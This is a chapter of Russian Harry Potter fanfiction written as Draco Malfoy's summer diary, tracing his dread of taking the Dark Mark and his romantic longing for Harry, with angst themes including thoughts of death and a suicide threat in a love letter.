Загробная жизнь

Автор: Хомячок
Бета: Lonely
Пейринг: Драко/Гарри
Рейтинг: R
Жанр: angst, romance
Summary: …Говорят, что перед смертью человек переживает свою жизнь заново. С самого начала все страшные, веселые и радостные моменты, и только потом наступает смерть. Но никто никогда не знал, что такое смерть, пока не умирал. Что там вдалеке - пустота? темнота? ничто? Узнать это не под силу даже сильнейшим магам этого мира…
Disclaimer: все персонажи принадлежат Дж. К. Роулинг. Я ни на что не претендую.
Размещение: с разрешения автора
Предупреждение: смерть персонажа
От автора: Хочу сказать ОГРОМНОЕ спасибо Lоnely, которая поддержала меня и помогла понять свои ошибки )

Часть 1.

Глава 6.
Дневник ДМ

Дневник Драко Малфоя.
(лето 1997 года; июнь - июль)

 

[12 июня]

“Вчера вечером я вернулся в Имение. Здесь я наконец-то могу отвлечься – заняться чем-то увлекательным и трудным, чтобы избавиться от ненужных мыслей, мешающих мне жить. Я полностью уверен, что смогу это сделать – смогу снова стать таким, каким и был – без глупых предрассудков и раздражающей жалости к людям.

У меня нет и не может возникнуть сомнений в том, что когда я вернусь осенью на вокзал Кингс-Кросс, я буду полностью равнодушен к Поттеру. Мне не нужны эти чувства – они мешают моему будущему – я знаю, что я буду делать дальше. В конце лета я получу Черную метку – я стану Пожирателем Смерти – жестоким бесчувственным убийцей. Это моя жизнь, которая была предопределена еще до моего рождения, и здесь больше нечего оспаривать – нужно просто смириться с этим, попробовать извлечь из этой ситуации что-то полезное для меня. Пока я не могу узнать что это. Судя по тому, что случилось, когда Темный Лорд был повержен в первый раз, многие из его приспешников получили по заслугам… Со мной не может случиться этого – я Малфой, а наша семья умеет постоять за себя… Хотя точнее будет сказать, что она умеет приспосабливаться как хамелеон, лгать и изворачиваться – фамильные черты каждого Малфоя”.

[13 июня]

“Сегодня я проснулся в какой-то странной тоске. Тоске по тому, что случилось со мной в этом учебном году…

Что я буду делать этим летом? Я даже не знаю, что еще написать. Боюсь вспоминать, потому что это больно. Потому что я не должен тешить себя напрасными надеждами.

Хотя какие тут могут быть надежды? Я сам для себя решил, что должен забыть – я бросил Поттера. Перестал смотреть на него, говорить с ним – вычеркнул гриффиндорского очкарика из своей жизни… Но так и не смог выкинуть из головы мысли о нем.

Это не любовь – такой любви не бывает. Это что-то необъяснимое, что мучает меня днем и ночью. Это наваждение, не желающее оставить меня видение с изумрудно-зелеными глазами, которые я должен забыть…”

[14 июня]

“Сегодня я с отцом ходил в Лютный переулок. Он часто таскает меня с собой летом, когда я мотаюсь по Имению без дела. Мне нравится это место – здесь много предметов черной магии и просто забавных вещиц.

Я помню как в детстве отец купил мне вороний глаз – прозрачный шар размером с кулак, который показывает будущее. Но не просто будущее, а самые страшные моменты. Я провел перед ним многие месяцы, но так ничего и не увидел, а потом, потеряв надежду, засунул вороний глаз подальше в шкаф. Но вот однажды ночью я проснулся от какого-то странного чувства так и не давшего мне потом заснуть. Я поднялся с кровати и увидел, что через щель в дверцах шкафа просачивается свет – это был шар. Он показал мне Уизли… Я так толком и не понял почему – даже сейчас это остается для меня загадкой.

Отец накупил каких-то порошков и ингредиентов для зелий, хотя я никогда не видел его с котлом в руках – забавная бы это была картина, если учесть то, что мой отец патологический чистюля.

Скоро мой день рождения – я старше Поттера ровно на месяц. Я всегда гордился этим, но только сейчас задумался – а чем тут собственно гордиться? Здесь нет ничего выдающегося и особенного”.

[15 июня]

“Время тянется так медленно, как будто минута длится целый час. Или, может, даже больше. И так всегда… Но я ведь не хочу, чтобы поскорей закончились каникулы, тогда почему стрелки на часах замедлили свой ход?”

[16 июня]

“Почему в жизни не может быть лишь хороших и приятных моментов? Почему человек не может быть счастлив всегда, радуясь жизни, радуясь каждому прожитому дню? Я не знаю… Я много чего не знаю и вовсе не потому, что мне всего  шестнадцать. Может, мне и не ведомы те чувства, которые испытывают люди в тридцать – но лишь потому, что это присуще этому возрасту. Есть вещи, которых не знает никто. Например, есть ли жизнь после смерти… Я раньше часто думал над этим – узнаю ли это когда-нибудь? Когда умру? А если там лишь пустота, где ничего нет? Нет мыслей, чувств, нет ни радостей, ни боли – а значит, нет смеха, улыбок и слез. Мы не ценим этого при жизни – это мелочи – но что же будет потом?

Я вовсе не хочу умирать. Я еще столько не узнал в жизни… Или, может, этого уже достаточно? Я исчерпал свои возможности. 

Сейчас мне страшно подумать, что у меня осталось лишь два с половиной месяца. А потом… Что же все-таки будет потом? Больно ли это? Конечно, больно. Только вот еще больнее знать, что у меня еще есть время, но нет выбора. Зачем тогда нужны эти дни бесконечных раздумий о дальнейшей жизни, которой не будет?”

[17 июня]

"Я опять думаю о Поттере. Снова представляю себе, что было бы, если бы я сказал ему. Это ничего не изменит – даже Мальчик-Который-Выжил не сможет спасти меня.

Куда-то делись все слезы. Высохли как лужи под жарким солнцем после дождя.

Я сижу сейчас в своей спальне и смотрю в окно. Высокие деревья бьются ветками в стекла, словно хотят о чем-то предупредить меня. Над Имением нависли тяжелые серые тучи – скоро пойдет дождь. Я уже не буду видеть сад перед домом, и огромные капли, похожие на слезы Хагрида, будут стекать по стеклам. Я люблю дождь – люблю смотреть, как бушует природа. Это похоже на то, что происходит у меня в душе. Это не больно… это неприятно – как идти без зонтика под ливнем.

Мама завтра уезжает к родственникам. Я случайно услышал, как она говорила отцу, что хочет устроить мне сюрприз. Она все еще считает меня маленьким ребенком – я не переубеждаю ее. Эта запоздалая материнская ласка лечит мое израненное сердце, которое до сих пор плачет по Поттеру. А сюрпризы я не люблю. Я не люблю и дни рождения – свои, по крайней мере… Они все проходят по одному сценарию, словно заранее спланированная постановка актеров в плохом театре.

 Приедут гости, половину которых я не знаю. Меня напрягает разговор с ними, как и присутствие их в моем доме. Они все очень приветливы – и не должно быть больше! А это “больше” есть. Старушки и старички, которых я вижу в первый раз в жизни противно сюсюкают и лезут меня целовать, женщины, похожие на мою маму, говорят, что я очень милый и воспитанный ребенок – если бы это не было сказано таким тоном, то сошло бы за комплимент – мужчины хлопают меня по плечу и поздравляют – и это почему-то необходимо сделать им всем, присутствующим в доме. И Пэнси – ни один мой день рождения не обходится без этой коровы – она липнет ко мне весь вечер, целует и обнимает. И когда выдается свободная минутка, я сбегаю в туалет, чтобы проблеваться и избавиться от запаха ее отвратительных духов. Отец напьется – это неотъемлемая деталь вечера – когда он начинает нести чушь, я предусмотрительно сбегаю в свою комнату и запираюсь, чтобы переждать бурю. Когда он напивается, то начинает обзывать всех уродами – но все уже привыкли – его просто напоят снотворным зельем, да уложат спать. 

Я не люблю дни рождения – я не обязан их любить – если бы я знал, какая жизнь меня ждет, я бы не хотел рождаться. Хотя я, наверное, и не хотел…”

[18 июня]

“Сегодня я целый день бесцельно бродил по Имению. Его окружают потрясающие по своим размерам и красоте сады – в них можно потеряться, и найдут тебя очень-очень не скоро. Когда я был маленьким, меня не отпускали сюда, лишь мама порой приводила меня в беседку у самого входа. Мы долго сидели, говорили о чем-то…

Почему же мы все время жалеем об упущенном времени, о поступках, которые совершили, не подумав хорошо? И я не исключение…”

[19 июня]

“Я вдруг проснулся ночью и понял, что никого не любил в своей жизни… Никого… кроме Поттера.

Я никем не был любим… Никем… кроме Поттера.

И я никого не ненавидел больше, чем Поттера.

И я никогда не испытывал таких сильных чувств к людям… Кроме Поттера.

Думает ли он обо мне? И если да, то как? Я тешу себя бесплодными надеждами. Надеждами, не имеющими будущего. У них есть лишь настоящее – здесь и сейчас. А утром, когда первые солнечные лучи проникнут сквозь неплотно задернутые занавески на окнах, они растворятся как привидения при дневном свете”.

[20 июня]

“Мамы нет.

Отца тоже.

Я один”.

[21 июня]

“Я бесконечно и невыносимо одинок в этом жестоком мире… Господи, какая глупость. Я словно уставшая от жизни женщина, которая беспрерывно жалуется. Я все больше понимаю всю нелепость ситуации – я скучаю по Поттеру – лишь с ним мне было хорошо. Он не упрекал меня в ранее сделанных ошибках – он умеет прощать и ничего не ждет взамен – он не вынуждал меня говорить – говорить о том, о чем я не хотел, о чем не мог рассказать ему – он понимал это. Он понимал меня, как не смогла бы даже Нарцисса. А сейчас я остался один – униженный и никому не нужный – один на один с самим собой, наедине со своими отвергнутыми чувствами и многочисленными недостатками…

Я не хочу такой жизни… И никому не желаю…

Ко мне относились бы по-другому, не будь я Малфоем. Не будь мой отец Пожирателем Смерти. Люди не способны рассмотреть человека изнутри – для этого вовсе не надо лезть в душу – надо лишь попытаться понять. Надо попытаться понять, откуда берут свое начало его поступки и ошибки. Но таких людей нет… разве что… Поттер”.

[22 июня]

“Осталось восемь дней. Нет, я вовсе не считаю то время, которое осталось до моего дня рождения, я просто констатирую факт – осталось восемь дней до самого ненавистного дня в году. Его надо лишь пережить, а потом… начнется что-то новое – и это тоже неплохо. В конце концов, мой день рождения не так и ужасен – мне подарят подарки, дадут выпить… и я наконец-то забуду о Поттере. Хотя реально ли это?”

[23 июня]

“Чем ближе этот день, тем больше меня тревожит вопрос – пришлет ли мне что-нибудь Поттер? Хоть дешевую маггловскую открытку с поздравлением? Или на худой конец клочок пергамента с парой неловких слов? И я заранее знаю, что его слова будут мне дороже всяких вычурных и бесценных подарков… дороже, чем все сокровища мира, брошенные к моим ногам… но не дороже, чем самое заветное желание – быть с Поттером. При этом в голове возникают такие мысли, о которых Господину лучше не знать. Я наслышан рассказами о том, что он делает с предателями, перешедшими на светлую сторону”.

[24 июня]

“Еще шесть дней. Может он прислать подарок раньше?”

[25 июня]

“Еще пять дней.

Я почти не вижу маму, которая пропадает в приготовлениях к моему дню рождения.

А я слоняюсь по дому в поисках чего-нибудь интересного, что могло бы меня отвлечь”.

[27 июня]

“Вчера утром я забрел в ту часть дома, в которой раньше ни разу не бывал. Там я наткнулся на библиотеку – раньше я не слишком часто читал книги, но сейчас… Чего там только нет – черная магия, некромантия, нумерология… Я не выходил оттуда два дня…”

[28 июня]

“Еще два дня. И время теперь тянется медленно-медленно. Стрелки часов ползут словно улитки, как будто знают, что я больше не в силах ждать. Я схожу с ума – я часами просиживаю у окна своей спальни и в совятне – но письмо не приходит. А я себя утешаю – еще немного… нужно подождать еще совсем немного…”

[1 июля]

“Он прислал мне подарок… и открытку…

“Драко,

я не знаю, зачем пишу это письмо, не знаю, отправлю ли, зато я уверен в том, что ты его ждешь. Может, это прозвучит несколько самоуверенно, но как раз в твоем стиле, значит и тебе будет понятней.

Я теряюсь в догадках по поводу того, что написать – не знаю, чего ты ждешь. Тебе наверняка дарят дорогие подарки – подарки, которые куплены за сумму, не идущую ни в какое сравнение с деньгами, оставленными мне родителями. И я решил положиться на свой вкус – хотя у меня его нет и ты это знаешь, но не суди меня строго – я купил тебе недорогую вещь, которая будет напоминать тебе обо мне невыносимо одинокими вечерами в твоей “тюрьме”. Это эгоистично – я знаю, но я больше ничего не смог придумать. И я прошу тебя – да, прошу, и не ухмыляйся! – если тебе не понравится мой подарок… не отсылай его мне обратно… лучше выкини… сожги… разорви… но только не посылай мне, иначе я пойму – мне незачем жить…

И… Драко… я скучаю по тебе… Скучаю по тому времени, которое мы провели вместе и когда между нами не было недоговоренностей. Куда же все это делось? Почему так быстро закончилось отведенное нам время? Ты спросишь меня, почему я задаю тебе все эти вопросы, а я отвечу, что мне больше не у кого спросить.

Есть слова, которые как нельзя кстати подошли бы к этому письму. Но я не уверен, что ты поймешь меня. Мы еще встретимся с тобой и нам нужно о многом поговорить, решить все, что встало между нами. Ты хочешь этого не меньше меня – и не отрицай.

Я уверен в твоих чувствах. Почему же я не могу быть так же уверен в твоих поступках? Не говори мне, что это невозможно – для меня не существует такого слова, не существует вещей, которых я не смог бы сделать. Ты скажешь, это потому, что я Мальчик-Который-Выжил. Но это не так. Ты сам знаешь, что я ненавижу поклонение, интервью и всеобщую любовь… Да, у меня была любовь… но у меня не было тебя, Драко. Ты думаешь, я хотел быть всеобщим любимчиком – ты ошибаешься. Я много раз хотел, чтобы вместо моих родителей погиб я. Они бы вскоре забыли про меня, завели еще детей и были бы счастливы. Если бы я умер, не случилось бы многих непоправимых вещей – ты все еще думаешь, что я эгоист?

Я не буду плакаться тебе – по крайней мере, сейчас – и писать тебе длинные слезливые письма – ты этого не любишь. Просто знай – я скучаю и хочу увидеть тебя поскорей. И я надеюсь, что когда наступит первое сентября, ты не будешь строить из себя недотрогу и играть в противного и заносчивого слизеринского ублюдка. Если ты все-таки поступишь так, то я повторю свою попытку самоубийства, и ты уже не сможешь мне помочь – это не угроза, я просто ставлю тебя перед фактом.

С днем рождения, Драко,

твой Гарри”.

Я прочитал его письмо, и у меня внутри что-то перевернулось. Я не думал, что я такой чувствительный, или это только Поттеру под силу меня растрогать?

Я долго не открывал подарок – хотел ли испытать себя или просто ждал чего-то. Вдруг это шутка – хотя такого Поттер не смог бы сделать…

… В свертке обнаружилась маггловская игрушка – я видел такие в детских колясках, когда магглы гуляли с новорожденными. Это лев. Гриффиндорский лев, как я назвал его – он похож на того, который изображен на гербе Хогвартса. Он совсем небольшой – размером с кулак, а сверху прикреплено колечко, чтобы можно было куда-нибудь его повесить. Но больше всего мне понравилось то, что когда нажимаешь на льва, он говорит, как рычит – я люблю тебя.

Может, это своеобразное признание в любви?

Ничто в жизни мне не было так приятно, как слышать это тихое рычание – разве что слова Поттера “Я тебя люблю”.

День рождения прошел хуже некуда… я и не ожидал такого.

Отец напился еще в самом начале вечера и, не обращая внимания на мать – впрочем, она для него всегда была лишь пустым местом – начал приставать к мистеру Лестрангу – и не только в самом узком смысле этого слова. Люциус Малфой никогда не скрывал своих пристрастий, но от меня всегда требовал обратного – нет, я не гей… Поттер… Когда отец танцевал с Лестрангом, я думал о Поттере. Не знаю почему – этот танец напомнил мне о вечерах в моей комнате, наполненных смехом и радостью – полная противоположность сегодняшнему вечеру. Я бы променял всех этих людей – лишь бы только увидеться с ним, я бы изменил моему Господину за одну его улыбку, обращенную ко мне…

Я сошел с ума, черт побери!

Черная метка должна мне помочь… уже скоро…” 

[2 июля]

“Я проснулся сегодня рано утром.

Это пасмурное утро, грустное и похожее на мое настроение в последнее время.

Небо заволокло мутными серыми тучами, и временами стеной льет дождь, а потом, так же внезапно, как и начался, перестает.

Я пролежал в кровати целое утро, с головой зарывшись в теплое одеяло.

Думал о чем-то, но эти мысли проходят в моей голове так же быстро, как и дождь за окном”.

[7 июля]

“Почему чем старше я становлюсь, тем больше задумываюсь о смысле своей жизни? Зачем я живу, для кого, какая у меня цель… У меня лишь та цель, которую передо мной поставил мой отец, а перед отцом – Темный Лорд.

Я случайно наткнулся в библиотеке на маггловскую книгу. Не знаю, кто ее читал, но знаю точно, что этот человек плакал… плакал как и я, потому что где-то в середине книги уже не выдерживают нервы – у меня на глазах уже блестели слезы, а подборок предательски дрожал. А в конце я заплакал, как ребенок. Что для меня эти слезы? Еще один повод помечтать, да подумать о своей жизни – прошлой, будущей, не важно… “Памятная прогулка” – это название навсегда останется в моей памяти, и я не думаю, что когда-нибудь смогу их забыть – я не буду даже пытаться. Может, смысл этой книги – спеши любить – отражает смысл моей жизни?

Этот сюжет… Почти такой же как и в других книгах, которые мне доводилось читать, но в то же время такой непохожий. Всеми любимый и уважаемый парень с кучей друзей – которые на самом дела и не друзья – это лишь видимость, черный занавес, за которым скрывается одинокое сердце человека, ищущего тепла и любви. И он находит то, что ищет – это девушка. Девушка из другого мира, который раньше не существовал для него, но именно там парень находит самого себя… свою любовь. Но счастье не бывает вечным – это ирреально – девушка больна лейкемией. Я не знаю, что это такое – наверное, что-то очень страшное и даже не излечимое с помощью магии – девушка умирает…

Ее мечта – увидеть чудо. И я знаю точно, она его увидела – она встретила свою любовь, которая помогала ей жить в ее последние месяцы, помогла ей осуществить свою мечту, казавшейся такой нереальной, но в тоже время прекрасной.

Я никогда не думал, что могу так плакать и так переживать за судьбу совершенно незнакомых мне людей. Оказывается, у магглов тоже есть чувства, есть жизнь, которая имеет свои плюсы и минусы, свои радости и недостатки – я никогда раньше не задумывался об этом. В мире без волшебства тоже есть боль, и моя боль от любви к Поттеру с этим не сравнится. А вот любовь в романе Николаса Спаркса способна соперничать лишь с моими чувствами к Гарри. 

Спеши любить… Спеши осуществить свою мечту, а не сидеть без дела, ненавидя себя за это.

Я знаю, у меня нет будущего, но у  меня есть настоящее. Настоящее, в котором я должен осуществить свою мечту, потому что другого шанса у меня не будет, как и не будет моего будущего. Я никогда не отдавался на волю своих чувств, не действовал так, как того хотело мое сердце, кричащее о любви к Поттеру, но задушенное моим здравым смыслом… Я должен попытаться жить, несмотря ни на что. Несмотря ни на что, пытаться бороться за то, что мне дорого – что я ставлю выше своей жизни – Гарри.

Надо жить сегодняшним днем, потому что завтра уже может не наступить, потому что завтра я уже могу не сказать Гарри, что люблю…”    

[8 июля]

“Какой подарок мне выбрать Поттеру? С признанием в любви или что-то дружеское, потому что лучше не спешить? Стоп. А почему не спешить? Ведь он любит меня.

А я хочу любить его…

Это моя мечта – она превыше всего…

И для Гарри тоже…

Меня никто раньше не любил, никто не говорил этих слов, которые раньше ничего не значили для меня. Странно как все может измениться за такое короткое время – от ненависти до любви один шаг. Ну пусть не один… Для нас это были пара шагов от холодной каменной стены до распахнутого настежь окна – путь до спасения Гарри. Точнее – для спасения Гарри. Эти секунды решили для меня многое – мою дальнейшую жизнь. Нет, не то, что со мной станет – я Пожиратель Смерти, и этого не изменить, как и то, что я люблю Гарри. Эти секунды решили для меня все то, что никогда не станет возможным для нас обоих – для слуги Темного Лорда и Мальчика-Который-Выжил – это неосуществимые мечты, которые так и останутся мечтами.

Не в наших силах изменить это – это судьба. Правда я никогда не верил в это, но ведь существует на свете магия. Магия – это нечто, непонятное магглам. А судьба… это нечто, что предопределено нам свыше, нечто необъяснимое и непонятное человеческому разуму. Я думаю, что наша судьба записана где-то свыше; мы совершаем поступки, заранее решенные за нас – это как мой отец решает, что мне делать.

Говорят, что неинтересно знать свое будущее, а по-моему это было бы здорово. Меня все время мучает вопрос, что будет завтра, послезавтра… когда я умру? или когда умрет отец? Второе для меня предпочтительней, но кто сказал, что Темный Лорд откажется от своего слуги?

Зачем же я родился на свет? Извечный вопрос…”

[9 июля]

“Как однообразно проходят дни.

Я не живу…

Я существую где-то в пространстве…

Я словно опавший листик, который ветер мотает из стороны в сторону, не желая оставить в покое… Я словно капелька воды в низвергающемся вниз водопаде, ударяюсь о камни и отлетаю вверх, но лишь для того, чтобы потом снова вернуться обратно в пучину и смешаться с себе подобными…

Стоит ли этого моя жизнь?”

[10 июля]

“Вчера вечером я снова копался в библиотеке и опять нашел маггловскую книгу. Она не такая слезливая, как “Памятная прогулка”, но может, я еще просто не успел дочитать до таких моментов?

Это “Франкенштейн”…

Меня поразило упорство этого человека в достижении своей цели – это потрясающая внутренняя сила, которая найдется не у каждого. Я сразу задумался – есть она во мне? Скорее всего, нет. А вот в Поттере есть – я вижу ее всякий раз, когда мы играем в квиддич. Это бешеное стремление ветра, это палящее солнце или проникающий в каждую частичку тела мороз, это моросящий дождик или рассекающий воздух ливень – это жизнь. Жизнь, которой нет во мне, и никогда не будет… Я никогда не смогу в полную силу почувствовать этот адреналин в крови, этот азарт, проникающий в душу по той простой причине, что меня ничего не волнует. Хотя нет, может и волнует что-то, но не до такой степени – мне все безразлично.

По-моему это потрясающе, когда можно жить своей мечтой, но как показал опыт этого человека – конечный результат оказывается не таким желаемым как в самом начале. Пока эти слова для меня – суть книги. Что будет, когда я дочитаю до конца? Буду несколько дней ходить под впечатлением, не в силах сосредоточиться на обыденных мелочах. У меня так почти с каждой книгой – мне нужно время подумать, найти что-то новое, что я упустил, пока читал в первый раз, поэтому я обычно беру книгу снова и опять начинаю читать – уже более внимательно, более вдумчиво.

Главное для автора – это заинтересовать читателя с первых же слов своего рассказа, ну или хотя бы с первых абзацев. Если проходит пара страниц, а этого не случается, то читать такую книгу становится просто неинтересно и скучно. Редкую книгу начинаешь читать, не имея к ней даже крупицы интереса – просто что-то толкает вперед. Не любопытство. Просто бывает, что пробегаешь пустым взглядом по строчкам, ничего не видя и утонув в своих мыслях, а потом натыкаешься на что-то любопытное. Перелистываешь на начало и начинаешь читать заново.

Я никогда не пытался писать книг и рассказов – не потому, что плохо излагаю свои мысли на бумаге – просто не хочу. Не считаю, что для меня это может представлять интерес. Есть люди, которым это дано свыше – это дар, талант… как умение ловить снитч на первых минутах игры. Как умение играть – следить за противником и ждать, а потом в одну секунду все закончить. Я никогда так не умел – в моей жизни были лишь изматывающие тренировки, оттачивание мастерства. Я помню, когда впервые сел на метлу – я был похож на Лонгботтома на первом уроке полетов. Но я научился; тренировался днями и ночами, пока не стал чувствовать себя в воздухе, так же как и на земле. Но, к сожалению именно это и отличает меня от Гарри. Он “родился” в воздухе, а я лишь научился чувствовать себя, так же как и он. Поттер прирожденный ловец – это и есть мастерство, дар свыше и природный талант, которых у меня не будет, хоть не слезай я с метлы.

Были ли мои уроки упорством? Возможно. Я работал над собой, получил конечный результат, который не удовлетворил меня. Поттер лучше… Эти слова преследуют меня всю жизнь, как проклятие”.   

[11 июля]

“Навсегда в моей памяти останутся слова: “Труд гениев, даже ложно направленный, почти всегда в конечном итоге служит на благо человечества”. Как много смысла вложено в них… Я долго держал книгу открытой на этой странице, задумавшись над ними…”

[12 июля]

“Сегодня мне почти и не удалось побыть одному и почитать. К нам приезжали гости… Гости – какое чинное слово придумал отец для жестоких бессердечных убийц, для таких же “людей” как и он сам. Пожиратели Смерти часто бывают у нас дома – наши двери всегда открыты для слуг Лорда.

Я часто задумываюсь при виде отца – он всегда был таким холодным и неприступным? Или было в его жизни время, когда он мог чувствовать и умел любить? Раньше мне казалось, что да. А потом я понял, что ошибаюсь. Наверное, я ошибался во всем, что касается Люциуса Малфоя, а ведь когда-то я хотел быть таким же. Я хотел, чтобы любовь забыла дорогу к моему сердцу, хотел, чтобы никто не знал, о моих чувствах и даже не догадывался о них. Но что все это на самом деле? Одиночество… где никого кроме тебя больше нет, где нет человека, который понимает тебя и сочувствует твоим неудачам и ошибкам. Нет человека, который умеет поддержать в нужный момент, даже не говоря ни слова. Который радуется твоему успеху и делит с тобой каждую мелочь – это и есть настоящее счастье. Какая жизнь ждала бы меня, если бы я не понял этого? И вот все изменила какая-то мелочь – желание прогуляться. Оно спасло меня от непоправимой ошибки – я буду бороться, чего бы это мне ни стоило. Буду бороться до последнего вздоха за то, что ставлю превыше своей жизни и жизней других людей.

Я не хочу жить с нелюбимой женой и нежеланными детьми, зная о том, что моя жизнь могла бы быть совсем другой. Могла бы быть такой, как того хочу я. И я не хочу потом с сожалением вспоминать, что мне помешало лишь липкое чувство страха”.

[13 июля]

“Вчера я не дождался, пока уйдут гости, и пошел к себе в спальню. Почти все ушли, но Лестранги остались на ночь. Отец и мистер Лестранг ушли в кабинет, обсудить какое-то дело – официальная версия. Мама и миссис Лестранг занялись своими делами. А младший Лестранг – даже не помню, как его зовут – пришел ко мне.

Ни разу в своей жизни я не видел существа уродливей и глупей. В школе я обычно игнорировал его, да и особыми успехами в учебе он не отличился.

Волосы у него странного непонятного цвета – что-то между коричневым и русым – в итоге получилась смесь, похожая по своему оттенку на гнилые листья. Лицо у него в прыщах и красных пятнах – и я не уверен, что это всего лишь подростковое созревание – карие глаза навыкате как у лягушки, нос картошкой, а губы… это даже сложно описать. Как будто кто-то очень долго тянул за них, из-за чего они приобрели такую форму, словно он все время чем-то недоволен. 

Я всегда в первую очередь обращаю внимание на внешность – это для меня основной принцип общения с людьми. Это для меня основной фактор отбора – я не привык иметь дело с чем-то некрасивым, что вызывает у меня отвращение и тошноту. В очень редком случае я мог бы закрыть на внешность глаза; условие – умение общаться, интерес к этому человеку, который заставит меня пересмотреть свои принципы. Такого человека я еще не встречал.

Лестранг… Природа, как говорят, отдыхала на нем. Его не волнуют насущные проблемы и дальнейшая жизнь. Нет, он не живет сегодняшним днем. Он живет в своем выдуманном мирке, со своими выдуманными друзьями, потому что реальных друзей у него нет.

Чтобы сделал я в такой ситуации? Даже ничего и в голову не приходит. Должно быть, надо оказаться на месте Лестранга, прежде чем понять, что я мог бы сделать.

Он говорил что-то о том, что хотел бы стать моим другом… Интересно, он просто шутил? Он рассказал мне, чем занимается, а я всерьез задумался над тем, не болен ли он. Лестранг всерьез увлекается вызовом духов – каждый ребенок в нашем мире знает, что это невозможно. Вызов духов – это глупые сказки, придуманные магглами для собственного развлечения. Лестранг видимо другого мнения – переубедить его невозможно. Еще он увлекается всякой ерундой вроде коллекционирования карточек от шоколадных лягушек, да мертвых насекомых. При последнем известии я сбежал от Лестранга – с меня было достаточно. Ночь я провел в библиотеке, выйдя оттуда лишь тогда, когда услышал стук колес отъезжающей кареты-портала”. 

[14 июля]

“Странно быстро летит время, ведь еще совсем недавно оно не хотело двигаться вперед с завидным упорством.

Все ближе день рождения Поттера.

Все ближе день, когда я получу Темную метку.

Я не боюсь – это глупо. Глупо бояться неизбежного. А это неизбежно.

Да и что, в конце концов, я могу? Сбежать? А что потом?

Мой здравый смысл победит, даже если сердце хоть на какое-то время одержит верх”.

  [15 июля]

“Я хочу чего-то…

Забыться? Умереть?

Я не хочу умирать, так и не испытав любви, так и не поняв как это – когда исполняется твоя мечта.

Может, потом я и покончу с собой, потому в моей жизни больше не будет смысла, а сейчас я хочу жить – и пусть эти девять с половиной месяцев будут самыми счастливыми, потому что потом уже не будет ничего”.

  [16 июля]

“Я дочитал до того места, где чудовище закончило свой рассказ. Он сильно задел меня… Все эти мысли и желания, которые в итоге обернулись против него самого.

Это словно маггл в волшебном мире, пытающийся найти приют и не слышащий в свой адрес ни единого доброго слова. Мне вспомнились все те моменты я издевался над магглорожденными, а прочитав рассказ демона, словно узнал их мысли.

Мне стало стыдно. Первый раз в жизни мне стало невыносимо стыдно. Стыдно, что не понял всей ошибочности своих поступков раньше и даже не пытался задуматься. Для меня эти люди были помечены меткой “магглорожденный”, а следовательно изгой нашего общества.

Но я уже не ребенок; мне не одиннадцать лет, чтобы издеваться над всеми, прячась за высоким положением в волшебном мире своего папочки. Я больше не могу делить людей на магглорожденных и чистокровных, не могу, а точнее не должен выбирать себе друзей по внешности – это неправильно. Может, пока я и не могу связно объяснить этого, просто где-то в душе знаю – так быть не должно.

Что есть взросление? Не способность ли здраво оценивать свои поступки и умение критиковать себя?”  

  [17 июля]

“Сегодня отец сказал мне, что назначена официальная дата моего принятия в ряды Пожирателей Смерти – 16 августа. Еще один месяц.

Я не знаю как мне вести себя перед Темным Лордом. Падать на колени и кричать о своей вечной преданности? Возможно, именно так мне и прикажет поступать отец. От меня зависит лишь одно – послушаться или поступить по-своему. Ослушайся я, Господину это могло бы и понравиться – кто знает? Покажи я свой характер, он мог бы быть доволен. Или все получилось бы наоборот – меня ждала бы мгновенная смерть, “избавление” от жизни.

Если я сделаю, так как велит отец, милость Темного Лорда мне обеспечена. Но есть одно “но” – мне претит сама мысль, что я должен перед кем-то унижаться”.

  [19 июля]

“Вчера я ходил на Диагон Аллею – выбирал Поттеру подарок.

Я обошел все магазины, но так и не нашел того, что бы заинтересовало меня. Во-первых, я не знаю, чего хочу.

Что-то для квиддича? Неоригинально. Это наверняка подарит Уизли или Грэйнджер. Но что тогда? Странно, но ведь я даже не знаю, чем он интересуется. Хотя… Защита от Темных Сил… Может, какой-нибудь Проявитель Врагов? Все равно что-то не то.

Самое ужасное, что я не могу ни с кем посоветоваться… Хотя, можно спросить у мамы, не называя его имени. Она подскажет”.

  [20 июля]

“Я поговорил с мамой. Жаль, что эта мысль раньше не пришла мне в голову. Но меня беспокоит одно – она догадалась. Я знаю, она не скажет отцу, но если все-таки проболтается, сочтет ли он это за не слишком удачную шутку?

Узнай Люциус о моих чувствах к Поттеру, я бы испытал на себе всю силу Круциатуса”.

  [21 июля]

“Я должен подарить что-то, что явственно скажет ему о моих чувствах. Что-то особенное, что-то, что скажет ему, что у нас есть шанс. Пусть и призрачный, но он есть, и мы должны бороться за эту надежду, потому что кроме нее у нас больше ничего нет.

Что я должен написать в своем письме? Какие чувства из бушующих в моей душе, я могу выразить словами? Это также нереально, как если бы я пытался описать, как ненавижу своего отца. Моя любовь к Поттеру по силе сравнима лишь с этой ненавистью, живущей во мне с трех лет”.

  [22 июля]

Гарри. Я не могу выразить словами все то, что охватило меня, когда я увидел твое письмо, лежащее у меня на столе, а рядом с ним твою белоснежную сову.

Твой подарок замечательный, но возвращать его тебе назад, даже при всем моем желании достать тебя, я бы не стал. Знаешь, я долго терялся в догадках – напишешь ли ты мне? Но еще задолго до этого решил, что независимо поздравишь ли ты меня, я все равно пошлю тебе письмо.

Ты прав, нам надо поговорить. Я хочу этого не меньше тебя. А еще… я хочу попросить у тебя прощения – очки вовсе не подводят тебя – я хочу извиниться перед тобой за все. А в первую очередь за то, что так поступил весной. Я не должен был бросать тебя, но испугался – какая глупость! – своего отца. 

У меня не получается написать то, что я хочу на самом деле. Всего лишь пустые ничего не значащие слова”.

  [30 июля]

“Вот он и наступил последний день. Сейчас все зависит от меня – если я напишу Гарри, то получу все, о чем так мечтаю, а если нет… Между нами уже не будет той ненависти, которая прожигала нашу жизнь целых пять лет. Не будет ни дружбы, ни любви – не будет ничего, потому что это станет невозможным, после всего, что мы испытали вдвоем.

Пока это тот единственный шанс, способный изменить мою жизнь.

Я все еще сижу и комкаю бумагу, да перевожу чернила. Я не знаю, что написать, как выразить все на простом листе пергамента, чтобы Поттер понял. Где эти слова, так нужные мне сейчас? Я не верю, что это знак того, что я не должен писать это письмо. 

Привет, Гарри.

Может, мне просто написать правду? Что я не знаю, что написать, потому что нет еще таких слов, которые могли бы выразить мои чувства к нему? А это мысль…

Я не знаю, что написать тебе, потому что нет еще таких слов, которые могли бы выразить мои чувства к тебе. Да я и не думаю, что они когда-нибудь появятся, потому что та частичка тебя, которая живет во мне, необъяснима простыми человеческими способами.  

Ну и что дальше? Написать, что люблю? Он этого не писал, просто намекнул.

